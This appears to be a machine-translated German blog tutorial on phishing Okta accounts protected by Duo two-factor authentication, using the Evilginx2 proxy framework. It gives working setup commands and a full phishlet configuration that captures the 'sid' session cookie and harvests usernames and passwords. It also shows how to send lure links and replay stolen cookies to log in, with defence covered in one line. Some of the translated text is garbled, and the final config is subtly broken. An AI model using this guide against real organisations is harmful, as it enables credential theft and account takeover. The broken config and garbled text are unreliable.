Hallo allerseits!
Es gibt Zeiten, in denen Sie sich für jemanden anmelden müssen. Dies geschieht, wenn die Zielorganisation mit einem zweiten Authentifizierungsfaktor konfiguriert ist - SMS, Google-Authentifikator, Duo. Was ist in solchen Fällen zu tun? Gopnik mieten? Telefone bei Mitarbeitern abschneiden? Nein! Es stellt sich heraus, dass listige Hacker Software geschrieben haben, die in dieser schwierigen Situation helfen kann.
Evilginx2 ist ein Phishing-Framework, das als Proxy zwischen dem Opfer und der Site fungiert, von der wir Konten erhalten möchten. Früher verwendete er benutzerdefiniertes Nginx, jetzt wird es auf Go vollständig neu geschrieben. Es enthält Mini-HTTP- und DNS-Server, was die Installation und Bereitstellung erheblich vereinfacht.
Wie funktioniert es Der Autor der auf seiner Website ausführlich beschriebenen Software, Details zur Installation und Konfiguration finden Sie auf der Github- Projektseite. Warum ist es möglich, den zweiten Faktor zu umgehen? Der Trick ist, dass wir den Prozess der Eingabe des Codes von SMS / temporärem Passwort / Push von DUO nicht stören. Wir warten ruhig darauf, dass der Benutzer alle Authentifizierungsschritte erfolgreich abschließt, sein Cookie abfängt und es bereits für die Anmeldung verwendet. Unterwegs, nur für den Fall, dass wir seinen Benutzernamen und sein Passwort sammeln. In der gleichen Notiz werde ich über meine Erfahrungen und die Fallstricke sprechen, denen ich begegnet bin.
Herausforderung
Wir müssen also ein Büro registrieren, das Okta aktiv als Single Sign-On verwendet. Als zweiter Faktor wird Duo verwendet - eine Lösung, deren Chip im mobilen Client es Ihnen ermöglicht, den zweiten Faktor durch regelmäßige Push-Benachrichtigungen zu bestätigen, anstatt 35-stellige Codes einzugeben (hi Google Authenticator). Fangen wir an.
Schritt eins - Registrieren Sie eine Phishing-Domain
Geben Sie im Bereich unseres Anbieters die Adresse des Servers an, auf dem sich Phishing befindet. Wir registrieren auch eine Subdomain der Form okta.< >.com
.

Schritt zwei - Konfigurieren Sie Evilginx
Wir starten Evilginx und geben über den Befehl config
die erforderlichen Einstellungen ein. Wir geben die Hauptdomäne (keine Unterdomäne) und ihre IP an.
config domain < >.com config ip 10.0.0.1
Infolgedessen sieht die Konfiguration folgendermaßen aus:

Der Parameter redirect_url
ist hier interessant - er gibt an, wo die Anforderung umgeleitet werden soll, wenn der Client zum Stammverzeichnis unserer Domain gelangt ist. Warum wird das gemacht? Wenn Sie eine Phishing-Seite aus dem Stammverzeichnis angeben, wird die Domain sehr schnell berechnet und zur Liste der gefährlichen Websites hinzugefügt. Browser schwören bedrohlich und Benutzer erreichen uns nie. Daher werden wir es über einen eindeutigen Link geben und die Wurzel wird zum Song Never Gonna Give You Up weiterleiten.
Schritt drei - Richten Sie eine Phishing-Seite ein
Hier beginnt der Spaß. Da wir auf unserem Server überhaupt keine Inhalte hosten, sondern nur Proxy-Anfragen, müssen wir Evilginx genau mitteilen, welche Daten wir empfangen möchten. Diese "Geschichte" schreiben wir in einem speziellen Format. Die Dokumentation finden Sie auf der Projekt- Wiki- Seite. Diese Phishlets-Beschreibungen werden aufgerufen. Für einige beliebte Dienste - Facebook, Linkedin, Amazon - sind sie bereits geschrieben und in der Distribution enthalten. Wir hatten weniger Glück, sofort wird Okta nicht unterstützt, aber freundliche Leute haben ein Phishlet für die alte Version geschrieben. Wir nehmen eine Feile und beginnen zu löten.
Füllen Sie die Beschreibung aus, geben Sie den Namen des Phishlets, die Autoren und die erforderliche Version von Evilginx an.
name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0'
Wir geben an, welche Domain wir fischen wollen. In unserem Fall wird eine Domain der Form < >.okta.com
.
proxy_hosts: - {phish_sub: '', orig_sub: '< >', domain: 'okta.com', session: true, is_landing: true}
Der session
gibt an, dass diese Domain die benötigten Cookies is_landing
und die Anmeldeinformationen dort übertragen werden. is_landing
bedeutet, dass dieser Host zum Generieren von Phishing-URLs verwendet wird.
Der nächste wichtige Schritt besteht darin, alle Anforderungen an die Zieldomäne zu identifizieren, damit die Proxys sie erfolgreich in die Phishing-Domäne umschreiben können. Wenn dies nicht erfolgt, sendet der Benutzer Daten nicht an uns, sondern sofort an die ursprüngliche Domain, und wir werden keine Konten abfangen. Schreiben Sie nur die Anforderungen neu, die direkt am Prozess der Benutzeranmeldung auf der Site beteiligt sind.
Um klar zu verstehen, was für eine erfolgreiche Authentifizierung erforderlich ist, müssen Sie genau diesen Prozess sorgfältig untersuchen. Ausgerüstet mit Burp- und Testkonten beginnen wir zu suchen, wie das Passwort übertragen wird und durch welche Cookies die Anwendung den autorisierten Benutzer bestimmt. Wir suchen auch nach Antworten vom Server, die Links zur ursprünglichen Domain enthalten.
Wir finden eine Anfrage, in der der Login und das Passwort übertragen werden. Wir sehen, dass es an die ursprüngliche Domain gesendet wird, aber wir müssen uns verlassen.

Hier können Sie sehen, wie die ursprüngliche Domain Links in Javascript rendert. Sie müssen neu geschrieben werden.

Nachdem wir diese und einige weitere Anfragen gesammelt haben, erhalten wir die folgenden Einstellungen:
sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
Das Schlüsselwort {hostname}
wird nur verwendet, um die ursprüngliche Domain durch eine Phishing-Domain zu ersetzen. Lesen Sie hier mehr über die Syntax dieses Abschnitts.
Denken Sie daran, wir benötigen Cookies, mit denen wir uns auf der Website anmelden. Durch Versuch und Irrtum ermitteln wir den Cookie-Namen - sid
und fügen ihn den Einstellungen hinzu:
auth_tokens: - domain: '< >.okta.com' keys: ['sid']
Der Benutzername und das Passwort des Benutzers sind auch für uns nützlich, wir haben bereits die Anfrage gefunden, in der sie übertragen werden. Wie Sie in der Anfrage sehen können, werden die benötigten username
und password
an json übergeben. Wir fügen hinzu:
credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json'
So kann Evilginx sie von den Abfragen isolieren und korrekt speichern.
Es ist wenig übrig. Geben Sie die URL der Anmeldeseite in der Zieldomäne an.
landing_path: - '/login/login.htm'
Wir geben die URL an, unter der wir verstehen, dass der Benutzer erfolgreich angemeldet ist.
auth_urls: - 'app/UserHome'
Das ist alles! Gesamte Konfiguration:
name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '< >'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '< >.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome'
Speichern Sie es als okta.yaml
in /usr/share/evilginx/phishlets
.
Schritt vier - Aktivieren Sie unser neues Phishing
Führen Sie evilginx aus und schreiben Sie einen Befehl
phishlets hostname okta okta.< >.com
Schalten Sie das Phishlet ein.
phishlets enable okta
Ein Zertifikat von LetsEncrypt wird automatisch dafür erstellt.
Überprüfen Sie die Einstellungen:

Wir geben an, wohin wir den Benutzer nach erfolgreicher Autorisierung umleiten werden
phishlets get-url okta https://< >.okta.com/
Die Anwendung gibt einen Link in der Form https://< >.com/login/login.htm?rb=9ffe&ec=< >
, der an Benutzer gesendet werden muss
Schritt 4 - Warten auf den Fang
Wir senden Briefe (Mailing-Technologien - Material für einen separaten Artikel) und warten.
Ein schwacher, vertrauenswürdiger Benutzer folgt dem Link und meldet sich an. Wir sehen es so:

Alle abgefangenen Konten summieren sich zu Sitzungen. Wählen Sie das gewünschte aus und kopieren Sie Cookies daraus:

Öffnen Sie den Browser, ersetzen Sie Cookies und Voila - wir sind drinnen:

Nachwort
Evilginx vereinfacht die Erstellung von Phishing-Seiten erheblich, insbesondere für 2FA. Außerdem werden diese Seiten bequem gespeichert und mit Freunden geteilt. Schutzmöglichkeiten - Verwendung von U2F- Standardgeräten, Übergang zu neuen Authentifizierungsmethoden.
Was halten Sie von dem beschriebenen Ansatz? Wie sammelst du Konten?